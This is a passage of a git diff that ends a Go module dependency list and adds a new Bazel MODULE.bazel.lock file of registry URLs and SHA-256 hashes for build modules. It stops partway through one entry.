"com_github_dolthub_go_mysql_server", "com_github_go_sql_driver_mysql", "com_github_google_uuid", "com_github_gowebpki_jcs", "com_github_invopop_jsonschema", "com_github_johanneskaufmann_html_to_markdown_v2", "com_github_mattn_go_sqlite3", "com_github_microcosm_cc_bluemonday", "com_github_oapi_codegen_oapi_codegen_v2", "com_github_olebedev_when", "com_github_spf13_cobra", "com_github_spf13_pflag", "com_github_spf13_viper", "com_github_stretchr_testify", "com_github_subosito_gotenv", "com_github_testcontainers_testcontainers_go", "com_github_testcontainers_testcontainers_go_modules_dolt", "com_github_yuin_goldmark", "in_gopkg_yaml_v3", "io_opentelemetry_go_otel", "io_opentelemetry_go_otel_exporters_otlp_otlpmetric_otlpmetrichttp", "io_opentelemetry_go_otel_exporters_stdout_stdoutmetric", "io_opentelemetry_go_otel_exporters_stdout_stdouttrace", "io_opentelemetry_go_otel_metric", "io_opentelemetry_go_otel_sdk", "io_opentelemetry_go_otel_sdk_metric", "io_opentelemetry_go_otel_trace", "io_rsc_script", "land_charm_glamour_v2", "land_charm_huh_v2", "land_charm_lipgloss_v2", "org_golang_x_mod", "org_golang_x_net", "org_golang_x_sync", "org_golang_x_sys", "org_golang_x_term") diff --git a/MODULE.bazel.lock b/MODULE.bazel.lock new file mode 100644 index 000000000..4f5bca374 --- /dev/null +++ b/MODULE.bazel.lock @@ -0,0 +1,798 @@ +{ + "lockFileVersion": 28, + "registryFileHashes": { + "https://bcr.bazel.build/bazel_registry.json": "8a28e4aff06ee60aed2a8c281907fb8bcbf3b753c91fb5a5c57da3215d5b3497", + "https://bcr.bazel.build/modules/abseil-cpp/20210324.2/MODULE.bazel": "7cd0312e064fde87c8d1cd79ba06c876bd23630c83466e9500321be55c96ace2", + "https://bcr.bazel.build/modules/abseil-cpp/20211102.0/MODULE.bazel": "70390338f7a5106231d20620712f7cccb659cd0e9d073d1991c038eb9fc57589", + "https://bcr.bazel.build/modules/abseil-cpp/20230125.1/MODULE.bazel": "89047429cb0207707b2dface14ba7f8df85273d484c2572755be4bab7ce9c3a0", + "https://bcr.bazel.build/modules/abseil-cpp/20230802.0.bcr.1/MODULE.bazel": "1c8cec495288dccd14fdae6e3f95f772c1c91857047a098fad772034264cc8cb", + "https://bcr.bazel.build/modules/abseil-cpp/20230802.0/MODULE.bazel": "d253ae36a8bd9ee3c5955384096ccb6baf16a1b1e93e858370da0a3b94f77c16", + "https://bcr.bazel.build/modules/abseil-cpp/20230802.1/MODULE.bazel": "fa92e2eb41a04df73cdabeec37107316f7e5272650f81d6cc096418fe647b915", + "https://bcr.bazel.build/modules/abseil-cpp/20240116.1/MODULE.bazel": "37bcdb4440fbb61df6a1c296ae01b327f19e9bb521f9b8e26ec854b6f97309ed", + "https://bcr.bazel.build/modules/abseil-cpp/20240116.2/MODULE.bazel": "73939767a4686cd9a520d16af5ab440071ed75cec1a876bf2fcfaf1f71987a16", + "https://bcr.bazel.build/modules/abseil-cpp/20250127.1/MODULE.bazel": "c4a89e7ceb9bf1e25cf84a9f830ff6b817b72874088bf5141b314726e46a57c1", + "https://bcr.bazel.build/modules/abseil-cpp/20250512.1/MODULE.bazel": "d209fdb6f36ffaf61c509fcc81b19e81b411a999a934a032e10cd009a0226215", + "https://bcr.bazel.build/modules/abseil-cpp/20250814.1/MODULE.bazel": "51f2312901470cdab0dbdf3b88c40cd21c62a7ed58a3de45b365ddc5b11bcab2", + "https://bcr.bazel.build/modules/abseil-cpp/20250814.1/source.json": "cea3901d7e299da7320700abbaafe57a65d039f10d0d7ea601c4a66938ea4b0c", + "https://bcr.bazel.build/modules/apple_support/1.11.1/MODULE.bazel": "1843d7cd8a58369a444fc6000e7304425fba600ff641592161d9f15b179fb896", + "https://bcr.bazel.build/modules/apple_support/1.15.1/MODULE.bazel": "a0556fefca0b1bb2de8567b8827518f94db6a6e7e7d632b4c48dc5f865bc7c85", + "https://bcr.bazel.build/modules/apple_support/1.21.0/MODULE.bazel": "ac1824ed5edf17dee2fdd4927ada30c9f8c3b520be1b5fd02a5da15bc10bff3e", + "https://bcr.bazel.build/modules/apple_support/1.21.1/MODULE.bazel": "5809fa3efab15d1f3c3c635af6974044bac8a4919c62238cce06acee8a8c11f1", + "https://bcr.bazel.build/modules/apple_support/1.24.2/MODULE.bazel": "0e62471818affb9f0b26f128831d5c40b074d32e6dda5a0d3852847215a41ca4", + "https://bcr.bazel.build/modules/apple_support/1.24.2/source.json": "2c22c9827093250406c5568da6c54e6fdf0ef06238def3d99c71b12feb057a8d", + "https://bcr.bazel.build/modules/bazel_features/1.1.0/MODULE.bazel": "cfd42ff3b815a5f39554d97182657f8c4b9719568eb7fded2b9135f084bf760b", + "https://bcr.bazel.build/modules/bazel_features/1.1.1/MODULE.bazel": "27b8c79ef57efe08efccbd9dd6ef70d61b4798320b8d3c134fd571f78963dbcd", + "https://bcr.bazel.build/modules/bazel_features/1.10.0/MODULE.bazel": "f75e8807570484a99be90abcd52b5e1f390362c258bcb73106f4544957a48101", + "https://bcr.bazel.build/modules/bazel_features/1.11.0/MODULE.bazel": "f9382337dd5a474c3b7d334c2f83e50b6eaedc284253334cf823044a26de03e8", + "https://bcr.bazel.build/modules/bazel_features/1.15.0/MODULE.bazel": "d38ff6e517149dc509406aca0db3ad1efdd890a85e049585b7234d04238e2a4d", + "https://bcr.bazel.build/modules/bazel_features/1.17.0/MODULE.bazel": "039de32d21b816b47bd42c778e0454217e9c9caac4a3cf8e15c7231ee3ddee4d", + "https://bcr.bazel.build/modules/bazel_features/1.18.0/MODULE.bazel": "1be0ae2557ab3a72a57aeb31b29be347bcdc5d2b1eb1e70f39e3851a7e97041a", + "https://bcr.bazel.build/modules/bazel_features/1.19.0/MODULE.bazel": "59adcdf28230d220f0067b1f435b8537dd033bfff8db21335ef9217919c7fb58", + "https://bcr.bazel.build/modules/bazel_features/1.21.0/MODULE.bazel": "675642261665d8eea09989aa3b8afb5c37627f1be178382c320d1b46afba5e3b", + "https://bcr.bazel.build/modules/bazel_features/1.23.0/MODULE.bazel": "fd1ac84bc4e97a5a0816b7fd7d4d4f6d837b0047cf4cbd81652d616af3a6591a", + "https://bcr.bazel.build/modules/bazel_features/1.27.0/MODULE.bazel": "621eeee06c4458a9121d1f104efb80f39d34deff4984e778359c60eaf1a8cb65", + "https://bcr.bazel.build/modules/bazel_features/1.28.0/MODULE.bazel": "4b4200e6cbf8fa335b2c3f43e1d6ef3e240319c33d43d60cc0fbd4b87ece299d", + "https://bcr.bazel.build/modules/bazel_features/1.3.0/MODULE.bazel": "cdcafe83ec318cda34e02948e81d790aab8df7a929cec6f6969f13a489ccecd9", + "https://bcr.bazel.build/modules/bazel_features/1.30.0/MODULE.bazel": "a14b62d05969a293b80257e72e597c2da7f717e1e69fa8b339703ed6731bec87", + "https://bcr.bazel.build/modules/bazel_features/1.33.0/MODULE.bazel": "8b8dc9d2a4c88609409c3191165bccec0e4cb044cd7a72ccbe826583303459f6", + "https://bcr.bazel.build/modules/bazel_features/1.36.0/MODULE.bazel": "596cb62090b039caf1cad1d52a8bc35cf188ca9a4e279a828005e7ee49a1bec3", + "https://bcr.bazel.build/modules/bazel_features/1.4.1/MODULE.bazel": "e45b6bb2350aff3e442ae1111c555e27eac1d915e77775f6fdc4b351b758b5d7", + "https://bcr.bazel.build/modules/bazel_features/1.42.1/MODULE.bazel": "275a59b5406ff18c01739860aa70ad7ccb3cfb474579411decca11c93b951080", + "https://bcr.bazel.build/modules/bazel_features/1.42.1/source.json": "fcd4396b2df85f64f2b3bb436ad870793ecf39180f1d796f913cc9276d355309", + "https://bcr.bazel.build/modules/bazel_features/1.9.1/MODULE.bazel": "8f679097876a9b609ad1f60249c49d68bfab783dd9be012faf9d82547b14815a", + "https://bcr.bazel.build/modules/bazel_skylib/1.0.3/MODULE.bazel": "bcb0fd896384802d1ad283b4e4eb4d718eebd8cb820b0a2c3a347fb971afd9d8", + "https://bcr.bazel.build/modules/bazel_skylib/1.1.1/MODULE.bazel": "1add3e7d93ff2e6998f9e118022c84d163917d912f5afafb3058e3d2f1545b5e", + "https://bcr.bazel.build/modules/bazel_skylib/1.2.0/MODULE.bazel": "44fe84260e454ed94ad326352a698422dbe372b21a1ac9f3eab76eb531223686", + "https://bcr.bazel.build/modules/bazel_skylib/1.2.1/MODULE.bazel": "f35baf9da0efe45fa3da1696ae906eea3d615ad41e2e3def4aeb4e8bc0ef9a7a", + "https://bcr.bazel.build/modules/bazel_skylib/1.3.0/MODULE.bazel": "20228b92868bf5cfc41bda7afc8a8ba2a543201851de39d990ec957b513579c5", + "https://bcr.bazel.build/modules/bazel_skylib/1.4.1/MODULE.bazel": "a0dcb779424be33100dcae821e9e27e4f2901d9dfd5333efe5ac6a8d7ab75e1d", + "https://bcr.bazel.build/modules/bazel_skylib/1.4.2/MODULE.bazel": "3bd40978e7a1fac911d5989e6b09d8f64921865a45822d8b09e815eaa726a651", + "https://bcr.bazel.build/modules/bazel_skylib/1.5.0/MODULE.bazel": "32880f5e2945ce6a03d1fbd588e9198c0a959bb42297b2cfaf1685b7bc32e138", + "https://bcr.bazel.build/modules/bazel_skylib/1.6.1/MODULE.bazel": "8fdee2dbaace6c252131c00e1de4b165dc65af02ea278476187765e1a617b917", + "https://bcr.bazel.build/modules/bazel_skylib/1.7.0/MODULE.bazel": "0db596f4563de7938de764cc8deeabec291f55e8ec15299718b93c4423e9796d", + "https://bcr.bazel.build/modules/bazel_skylib/1.7.1/MODULE.bazel": "3120d80c5861aa616222ec015332e5f8d3171e062e3e804a2a0253e1be26e59b", + "https://bcr.bazel.build/modules/bazel_skylib/1.8.1/MODULE.bazel": "88ade7293becda963e0e3ea33e7d54d3425127e0a326e0d17da085a5f1f03ff6", + "https://bcr.bazel.build/modules/bazel_skylib/1.8.2/MODULE.bazel": "69ad6927098316848b34a9142bcc975e018ba27f08c4ff403f50c1b6e646ca67", + "https://bcr.bazel.build/modules/bazel_skylib/1.8.2/source.json": "34a3c8bcf233b835eb74be9d628899bb32999d3e0eadef1947a0a562a2b16ffb", + "https://bcr.bazel.build/modules/buildozer/8.5.1/MODULE.bazel": "a35d9561b3fc5b18797c330793e99e3b834a473d5fbd3d7d7634aafc9bdb6f8f", + "https://bcr.bazel.build/modules/buildozer/8.5.1/source.json": "e3386e6ff4529f2442800dee47ad28d3e6487f36a1f75ae39ae56c70f0cd2fbd", + "https://bcr.bazel.build/modules/gazelle/0.32.0/MODULE.bazel": "b499f58a5d0d3537f3cf5b76d8ada18242f64ec474d8391247438bf04f58c7b8", + "https://bcr.bazel.build/modules/gazelle/0.33.0/MODULE.bazel": "a13a0f279b462b784fb8dd52a4074526c4a2afe70e114c7d09066097a46b3350", + "https://bcr.bazel.build/modules/gazelle/0.34.0/MODULE.bazel": "abdd8ce4d70978933209db92e436deb3a8b737859e9354fb5fd11fb5c2004c8a", + "https://bcr.bazel.build/modules/gazelle/0.36.0/MODULE.bazel": "e375d5d6e9a6ca59b0cb38b0540bc9a05b6aa926d322f2de268ad267a2ee74c0", + "https://bcr.bazel.build/modules/gazelle/0.51.3/MODULE.bazel": "618a729142f66de1e2cb776d026413763be5b80d5e3d29ffb9d3d90c5defde90", + "https://bcr.bazel.build/modules/gazelle/0.53.0/MODULE.bazel": "76158efbaf12e35ae17af02f4a715bc6e7b3b410c693d34f422922ff4a56a925", + "https://bcr.bazel.build/modules/gazelle/0.53.0/source.json": "1f5a4dd0399e5a20e0daeaa3ba1f42391a1b909bc3d337f7a62d3216ddbdfad0", + "https://bcr.bazel.build/modules/google_benchmark/1.8.2/MODULE.bazel": "a70cf1bba851000ba93b58ae2f6d76490a9feb74192e57ab8e8ff13c34ec50cb", + "https://bcr.bazel.build/modules/googletest/1.11.0/MODULE.bazel": "3a83f095183f66345ca86aa13c58b59f9f94a2f81999c093d4eeaa2d262d12f4", + "https://bcr.bazel.build/modules/googletest/1.14.0.bcr.1/MODULE.bazel": "22c31a561553727960057361aa33bf20fb2e98584bc4fec007906e27053f80c6", + "https://bcr.bazel.build/modules/googletest/1.14.0/MODULE.bazel": "cfbcbf3e6eac06ef9d85900f64424708cc08687d1b527f0ef65aa7517af8118f", + "https://bcr.bazel.build/modules/googletest/1.15.2/MODULE.bazel": "6de1edc1d26cafb0ea1a6ab3f4d4192d91a312fd2d360b63adaa213cd00b2108", + "https://bcr.bazel.build/modules/googletest/1.17.0/MODULE.bazel": "dbec758171594a705933a29fcf69293d2468c49ec1f2ebca65c36f504d72df46", + "https://bcr.bazel.build/modules/googletest/1.17.0/source.json": "38e4454b25fc30f15439c0378e57909ab1fd0a443158aa35aec685da727cd713", + "https://bcr.bazel.build/modules/jsoncpp/1.9.5/MODULE.bazel": "31271aedc59e815656f5736f282bb7509a97c7ecb43e927ac1a37966e0578075", + "https://bcr.bazel.build/modules/jsoncpp/1.9.6/MODULE.bazel": "2f8d20d3b7d54143213c4dfc3d98225c42de7d666011528dc8fe91591e2e17b0", + "https://bcr.bazel.build/modules/jsoncpp/1.9.6/source.json": "a04756d367a2126c3541682864ecec52f92cdee80a35735a3cb249ce015ca000", + "https://bcr.bazel.build/modules/libpfm/4.11.0/MODULE.bazel": "45061ff025b301940f1e30d2c16bea596c25b176c8b6b3087e92615adbd52902", + "https://bcr.bazel.build/modules/nlohmann_json/3.6.1/MODULE.bazel": "6f7b417dcc794d9add9e556673ad25cb3ba835224290f4f848f8e2db1e1fca74", + "https://bcr.bazel.build/modules/nlohmann_json/3.6.1/source.json": "f448c6e8963fdfa7eb831457df83ad63d3d6355018f6574fb017e8169deb43a9", + "https://bcr.bazel.build/modules/package_metadata/0.0.3/MODULE.bazel": "77890552ecea9e284b5424c9de827a58099348763a4359e975c359a83d4faa83", + "https://bcr.bazel.build/modules/package_metadata/0.0.5/MODULE.bazel": "ef4f9439e3270fdd6b9fd4dbc3d2f29d13888e44c529a1b243f7a31dfbc2e8e4", + "https://bcr.bazel.build/modules/package_metadata/0.0.5/source.json": "2326db2f6592578177751c3e1f74786b79382cd6008834c9d01ec865b9126a85", + "https://bcr.bazel.build/modules/platforms/0.0.10/MODULE.bazel": "8cb8efaf200bdeb2150d93e162c40f388529a25852b332cec879373771e48ed5", + "https://bcr.bazel.build/modules/platforms/0.0.11/MODULE.bazel": "0daefc49732e227caa8bfa834d65dc52e8cc18a2faf80df25e8caea151a9413f", + "https://bcr.bazel.build/modules/platforms/0.0.4/MODULE.bazel": "9b328e31ee156f53f3c416a64f8491f7eb731742655a47c9eec4703a71644aee", + "https://bcr.bazel.build/modules/platforms/0.0.5/MODULE.bazel": "5733b54ea419d5eaf7997054bb55f6a1d0b5ff8aedf0176fef9eea44f3acda37", + "https://bcr.bazel.build/modules/platforms/0.0.6/MODULE.bazel": "ad6eeef431dc52aefd2d77ed20a4b353f8ebf0f4ecdd26a807d2da5aa8cd0615", + "https://bcr.bazel.build/modules/platforms/0.0.7/MODULE.bazel": "72fd4a0ede9ee5c021f6a8dd92b503e089f46c227ba2813ff183b71616034814", + "https://bcr.bazel.build/modules/platforms/0.0.8/MODULE.bazel": "9f142c03e348f6d263719f5074b21ef3adf0b139ee4c5133e2aa35664da9eb2d", + "https://bcr.bazel.build/modules/platforms/0.0.9/MODULE.bazel": "4a87a60c927b56ddd67db50c89acaa62f4ce2a1d2149ccb63ffd871d5ce29ebc", + "https://bcr.bazel.build/modules/platforms/1.0.0/MODULE.bazel": "f05feb42b48f1b3c225e4ccf351f367be0371411a803198ec34a389fb22aa580", + "https://bcr.bazel.build/modules/platforms/1.1.0/MODULE.bazel": "1c0c09f5bdcf4b3f924720d2478a3711cb39f4977019ca5988685e5b7e18b3d2", + "https://bcr.bazel.build/modules/platforms/1.1.0/source.json": "fcf351c47596c939140ab0d333dfdd08ed1ea6ce33c2fe70c12493a301cf1344", + "https://bcr.bazel.build/modules/protobuf/21.7/MODULE.bazel": "a5a29bb89544f9b97edce05642fac225a808b5b7be74038ea3640fae2f8e66a7", + "https://bcr.bazel.build/modules/protobuf/27.0/MODULE.bazel": "7873b60be88844a0a1d8f80b9d5d20cfbd8495a689b8763e76c6372998d3f64c", + "https://bcr.bazel.build/modules/protobuf/27.1/MODULE.bazel": "703a7b614728bb06647f965264967a8ef1c39e09e8f167b3ca0bb1fd80449c0d", + "https://bcr.bazel.build/modules/protobuf/29.0-rc2.bcr.1/MODULE.bazel": "52f4126f63a2f0bbf36b99c2a87648f08467a4eaf92ba726bc7d6a500bbf770c", + "https://bcr.bazel.build/modules/protobuf/29.0-rc2/MODULE.bazel": "6241d35983510143049943fc0d57937937122baf1b287862f9dc8590fc4c37df", + "https://bcr.bazel.build/modules/protobuf/29.0-rc3/MODULE.bazel": "33c2dfa286578573afc55a7acaea3cada4122b9631007c594bf0729f41c8de92", + "https://bcr.bazel.build/modules/protobuf/29.0/MODULE.bazel": "319dc8bf4c679ff87e71b1ccfb5a6e90a6dbc4693501d471f48662ac46d04e4e", + "https://bcr.bazel.build/modules/protobuf/29.1/MODULE.bazel": "557c3457560ff49e122ed76c0bc3397a64af9574691cb8201b4e46d4ab2ecb95", + "https://bcr.bazel.build/modules/protobuf/3.19.0/MODULE.bazel": "6b5fbb433f760a99a22b18b6850ed5784ef0e9928a72668b66e4d7ccd47db9b0", + "https://bcr.bazel.build/modules/protobuf/3.19.2/MODULE.bazel": "532ffe5f2186b69fdde039efe6df13ba726ff338c6bc82275ad433013fa10573", + "https://bcr.bazel.build/modules/protobuf/3.19.6/MODULE.bazel": "9233edc5e1f2ee276a60de3eaa47ac4132302ef9643238f23128fea53ea12858", + "https://bcr.bazel.build/modules/protobuf/32.1/MODULE.bazel": "89cd2866a9cb07fee9ff74c41ceace11554f32e0d849de4e23ac55515cfada4d", + "https://bcr.bazel.build/modules/protobuf/33.4/MODULE.bazel": "114775b816b38b6d0ca620450d6b02550c60ceedfdc8d9a229833b34a223dc42", + "https://bcr.bazel.build/modules/protobuf/33.4/source.json": "555f8686b4c7d6b5ba731fbea13bf656b4bfd9a7ff629c1d9d3f6e1d6155de79", + "https://bcr.bazel.build/modules/pybind11_bazel/2.11.1/MODULE.bazel": "88af1c246226d87e65be78ed49ecd1e6f5e98648558c14ce99176da041dc378e", + "https://bcr.bazel.build/modules/pybind11_bazel/2.12.0/MODULE.bazel": "e6f4c20442eaa7c90d7190d8dc539d0ab422f95c65a57cc59562170c58ae3d34", + "https://bcr.bazel.build/modules/pybind11_bazel/2.12.0/source.json": "6900fdc8a9e95866b8c0d4ad4aba4d4236317b5c1cd04c502df3f0d33afed680", + "https://bcr.bazel.build/modules/re2/2023-09-01/MODULE.bazel": "cb3d511531b16cfc78a225a9e2136007a48cf8a677e4264baeab57fe78a80206", + "https://bcr.bazel.build/modules/re2/2024-07-02.bcr.1/MODULE.bazel": "b4963dda9b31080be1905ef085ecd7dd6cd47c05c79b9cdf83ade83ab2ab271a", + "https://bcr.bazel.build/modules/re2/2024-07-02.bcr.1/source.json": "2ff292be6ef3340325ce8a045ecc326e92cbfab47c7cbab4bd85d28971b97ac4", + "https://bcr.bazel.build/modules/re2/2024-07-02/MODULE.bazel": "0eadc4395959969297cbcf31a249ff457f2f1d456228c67719480205aa306daa", + "https://bcr.bazel.build/modules/rules_android/0.1.1/MODULE.bazel": "48809ab0091b07ad0182defb787c4c5328bd3a278938415c00a7b69b50c4d3a8", + "https://bcr.bazel.build/modules/rules_android/0.1.1/source.json": "e6986b41626ee10bdc864937ffb6d6bf275bb5b9c65120e6137d56e6331f089e", + "https://bcr.bazel.build/modules/rules_apple/3.16.0/MODULE.bazel": "0d1caf0b8375942ce98ea944be754a18874041e4e0459401d925577624d3a54a", + "https://bcr.bazel.build/modules/rules_apple/4.1.0/MODULE.bazel": "76e10fd4a48038d3fc7c5dc6e63b7063bbf5304a2e3bd42edda6ec660eebea68", + "https://bcr.bazel.build/modules/rules_apple/4.1.0/source.json": "8ee81e1708756f81b343a5eb2b2f0b953f1d25c4ab3d4a68dc02754872e80715", + "https://bcr.bazel.build/modules/rules_cc/0.0.1/MODULE.bazel": "cb2aa0747f84c6c3a78dad4e2049c154f08ab9d166b1273835a8174940365647", + "https://bcr.bazel.build/modules/rules_cc/0.0.10/MODULE.bazel": "ec1705118f7eaedd6e118508d3d26deba2a4e76476ada7e0e3965211be012002", + "https://bcr.bazel.build/modules/rules_cc/0.0.13/MODULE.bazel": "0e8529ed7b323dad0775ff924d2ae5af7640b23553dfcd4d34344c7e7a867191", + "https://bcr.bazel.build/modules/rules_cc/0.0.15/MODULE.bazel": "6704c35f7b4a72502ee81f61bf88706b54f06b3cbe5558ac17e2e14666cd5dcc", + "https://bcr.bazel.build/modules/rules_cc/0.0.16/MODULE.bazel": "7661303b8fc1b4d7f532e54e9d6565771fea666fbdf839e0a86affcd02defe87", + "https://bcr.bazel.build/modules/rules_cc/0.0.17/MODULE.bazel": "2ae1d8f4238ec67d7185d8861cb0a2cdf4bc608697c331b95bf990e69b62e64a", + "https://bcr.bazel.build/modules/rules_cc/0.0.2/MODULE.bazel": "6915987c90970493ab97393024c156ea8fb9f3bea953b2f3ec05c34f19b5695c", + "https://bcr.bazel.build/modules/rules_cc/0.0.6/MODULE.bazel": "abf360251023dfe3efcef65ab9d56beefa8394d4176dd29529750e1c57eaa33f", + "https://bcr.bazel.build/modules/rules_cc/0.0.8/MODULE.bazel": "964c85c82cfeb6f3855e6a07054fdb159aced38e99a5eecf7bce9d53990afa3e", + "https://bcr.bazel.build/modules/rules_cc/0.0.9/MODULE.bazel": "836e76439f354b89afe6a911a7adf59a6b2518fafb174483ad78a2a2fde7b1c5", + "https://bcr.bazel.build/modules/rules_cc/0.1.1/MODULE.bazel": "2f0222a6f229f0bf44cd711dc13c858dad98c62d52bd51d8fc3a764a83125513", + "https://bcr.bazel.build/modules/rules_cc/0.1.2/MODULE.bazel": "557ddc3a96858ec0d465a87c0a931054d7dcfd6583af2c7ed3baf494407fd8d0", + "https://bcr.bazel.build/modules/rules_cc/0.1.5/MODULE.bazel": "88dfc9361e8b5ae1008ac38f7cdfd45ad738e4fa676a3ad67d19204f045a1fd8", + "https://bcr.bazel.build/modules/rules_cc/0.2.0/MODULE.bazel": "b5c17f90458caae90d2ccd114c81970062946f49f355610ed89bebf954f5783c", + "https://bcr.bazel.build/modules/rules_cc/0.2.13/MODULE.bazel": "eecdd666eda6be16a8d9dc15e44b5c75133405e820f620a234acc4b1fdc5aa37", + "https://bcr.bazel.build/modules/rules_cc/0.2.17/MODULE.bazel": "1849602c86cb60da8613d2de887f9566a6d354a6df6d7009f9d04a14402f9a84", + "https://bcr.bazel.build/modules/rules_cc/0.2.17/source.json": "3832f45d145354049137c0090df04629d9c2b5493dc5c2bf46f1834040133a07", + "https://bcr.bazel.build/modules/rules_cc/0.2.8/MODULE.bazel": "f1df20f0bf22c28192a794f29b501ee2018fa37a3862a1a2132ae2940a23a642", + "https://bcr.bazel.build/modules/rules_foreign_cc/0.9.0/MODULE.bazel": "c9e8c682bf75b0e7c704166d79b599f93b72cfca5ad7477df596947891feeef6", + "https://bcr.bazel.build/modules/rules_fuzzing/0.5.2/MODULE.bazel": "40c97d1144356f52905566c55811f13b299453a14ac7769dfba2ac38192337a8", + "https://bcr.bazel.build/modules/rules_go/0.41.0/MODULE.bazel": "55861d8e8bb0e62cbd2896f60ff303f62ffcb0eddb74ecb0e5c0cbe36fc292c8", + "https://bcr.bazel.build/modules/rules_go/0.42.0/MODULE.bazel": "8cfa875b9aa8c6fce2b2e5925e73c1388173ea3c32a0db4d2b4804b453c14270", + "https://bcr.bazel.build/modules/rules_go/0.46.0/MODULE.bazel": "3477df8bdcc49e698b9d25f734c4f3a9f5931ff34ee48a2c662be168f5f2d3fd", + "https://bcr.bazel.build/modules/rules_go/0.59.0/MODULE.bazel": "b7e43e7414a3139a7547d1b4909b29085fbe5182b6c58cbe1ed4c6272815aeae", + "https://bcr.bazel.build/modules/rules_go/0.63.0/MODULE.bazel": "a2079e783a5d2715a90e6e2970ec8ffd717a487ff2aecb5f553e3975c5294a21", + "https://bcr.bazel.build/modules/rules_go/0.63.0/source.json": "5bf37b45c440ac03abad0cbfa8b8b8dd89cc4e82bc8305f468b8436fa58bae78", + "https://bcr.bazel.build/modules/rules_java/4.0.0/MODULE.bazel": "5a78a7ae82cd1a33cef56dc578c7d2a46ed0dca12643ee45edbb8417899e6f74", + "https://bcr.bazel.build/modules/rules_java/5.3.5/MODULE.bazel": "a4ec4f2db570171e3e5eb753276ee4b389bae16b96207e9d3230895c99644b86", + "https://bcr.bazel.build/modules/rules_java/6.5.2/MODULE.bazel": "1d440d262d0e08453fa0c4d8f699ba81609ed0e9a9a0f02cd10b3e7942e61e31", + "https://bcr.bazel.build/modules/rules_java/7.10.0/MODULE.bazel": "530c3beb3067e870561739f1144329a21c851ff771cd752a49e06e3dc9c2e71a", + "https://bcr.bazel.build/modules/rules_java/7.12.2/MODULE.bazel": "579c505165ee757a4280ef83cda0150eea193eed3bef50b1004ba88b99da6de6", + "https://bcr.bazel.build/modules/rules_java/7.2.0/MODULE.bazel": "06c0334c9be61e6cef2c8c84a7800cef502063269a5af25ceb100b192453d4ab", + "https://bcr.bazel.build/modules/rules_java/7.6.1/MODULE.bazel": "2f14b7e8a1aa2f67ae92bc69d1ec0fa8d9f827c4e17ff5e5f02e91caa3b2d0fe", + "https://bcr.bazel.build/modules/rules_java/8.3.2/MODULE.bazel": "7336d5511ad5af0b8615fdc7477535a2e4e723a357b6713af439fe8cf0195017", + "https://bcr.bazel.build/modules/rules_java/8.5.1/MODULE.bazel": "d8a9e38cc5228881f7055a6079f6f7821a073df3744d441978e7a43e20226939", + "https://bcr.bazel.build/modules/rules_java/8.6.1/MODULE.bazel": "f4808e2ab5b0197f094cabce9f4b006a27766beb6a9975931da07099560ca9c2", + "https://bcr.bazel.build/modules/rules_java/9.1.0/MODULE.bazel": "ee63f27e36a3fada80342869361182f120a9819c74320e8e65b1e04ba0cd7a9d", + "https://bcr.bazel.build/modules/rules_java/9.1.0/source.json": "da589573c1dee2c9ac4a568b301269a2e8191110ff0345c1a959fa7ea6c4dfd6", + "https://bcr.bazel.build/modules/rules_jvm_external/4.4.2/MODULE.bazel": "a56b85e418c83eb1839819f0b515c431010160383306d13ec21959ac412d2fe7", + "https://bcr.bazel.build/modules/rules_jvm_external/5.1/MODULE.bazel": "33f6f999e03183f7d088c9be518a63467dfd0be94a11d0055fe2d210f89aa909", + "https://bcr.bazel.build/modules/rules_jvm_external/5.2/MODULE.bazel": "d9351ba35217ad0de03816ef3ed63f89d411349353077348a45348b096615036", + "https://bcr.bazel.build/modules/rules_jvm_external/6.3/MODULE.bazel": "c998e060b85f71e00de5ec552019347c8bca255062c990ac02d051bb80a38df0", + "https://bcr.bazel.build/modules/rules_jvm_external/6.7/MODULE.bazel": "e717beabc4d091ecb2c803c2d341b88590e9116b8bf7947915eeb33aab4f96dd", + "https://bcr.bazel.build/modules/rules_jvm_external/6.7/source.json": "5426f412d0a7fc6b611643376c7e4a82dec991491b9ce5cb1cfdd25fe2e92be4", + "https://bcr.bazel.build/modules/rules_kotlin/1.9.6/MODULE.bazel": "d269a01a18ee74d0335450b10f62c9ed81f2321d7958a2934e44272fe82dcef3", + "https://bcr.bazel.build/modules/rules_kotlin/1.9.6/source.json": "2faa4794364282db7c06600b7e5e34867a564ae91bda7cae7c29c64e9466b7d5", + "https://bcr.bazel.build/modules/rules_license/0.0.3/MODULE.bazel": "627e9ab0247f7d1e05736b59dbb1b6871373de5ad31c3011880b4133cafd4bd0", + "https://bcr.bazel.build/modules/rules_license/0.0.7/MODULE.bazel": "088fbeb0b6a419005b89cf93fe62d9517c0a2b8bb56af3244af65ecfe37e7d5d", + "https://bcr.bazel.build/modules/rules_license/1.0.0/MODULE.bazel": "a7fda60eefdf3d8c827262ba499957e4df06f659330bbe6cdbdb975b768bb65c", + "https://bcr.bazel.build/modules/rules_license/1.0.0/source.json": "a52c89e54cc311196e478f8382df91c15f7a2bfdf4c6cd0e2675cc2ff0b56efb", + "https://bcr.bazel.build/modules/rules_pkg/0.7.0/MODULE.bazel": "df99f03fc7934a4737122518bb87e667e62d780b610910f0447665a7e2be62dc", + "https://bcr.bazel.build/modules/rules_pkg/1.0.1/MODULE.bazel": "5b1df97dbc29623bccdf2b0dcd0f5cb08e2f2c9050aab1092fd39a41e82686ff", + "https://bcr.bazel.build/modules/rules_pkg/1.0.1/source.json": "bd82e5d7b9ce2d31e380dd9f50c111d678c3bdaca190cb76b0e1c71b05e1ba8a", + "https://bcr.bazel.build/modules/rules_proto/4.0.0/MODULE.bazel": "a7a7b6ce9bee418c1a760b3d84f83a299ad6952f9903c67f19e4edd964894e06", + "https://bcr.bazel.build/modules/rules_proto/5.3.0-21.7/MODULE.bazel": "e8dff86b0971688790ae75528fe1813f71809b5afd57facb44dad9e8eca631b7", + "https://bcr.bazel.build/modules/rules_proto/6.0.0-rc1/MODULE.bazel": "1e5b502e2e1a9e825eef74476a5a1ee524a92297085015a052510b09a1a09483", + "https://bcr.bazel.build/modules/rules_proto/6.0.2/MODULE.bazel": "ce916b775a62b90b61888052a416ccdda405212b6aaeb39522f7dc53431a5e73", + "https://bcr.bazel.build/modules/rules_proto/7.0.2/MODULE.bazel": "bf81793bd6d2ad89a37a40693e56c61b0ee30f7a7fdbaf3eabbf5f39de47dea2", + "https://bcr.bazel.build/modules/rules_proto/7.1.0/MODULE.bazel": "002d62d9108f75bb807cd56245d45648f38275cb3a99dcd45dfb864c5d74cb96", + "https://bcr.bazel.build/modules/rules_proto/7.1.0/source.json": "39f89066c12c24097854e8f57ab8558929f9c8d474d34b2c00ac04630ad8940e", + "https://bcr.bazel.build/modules/rules_python/0.10.2/MODULE.bazel": 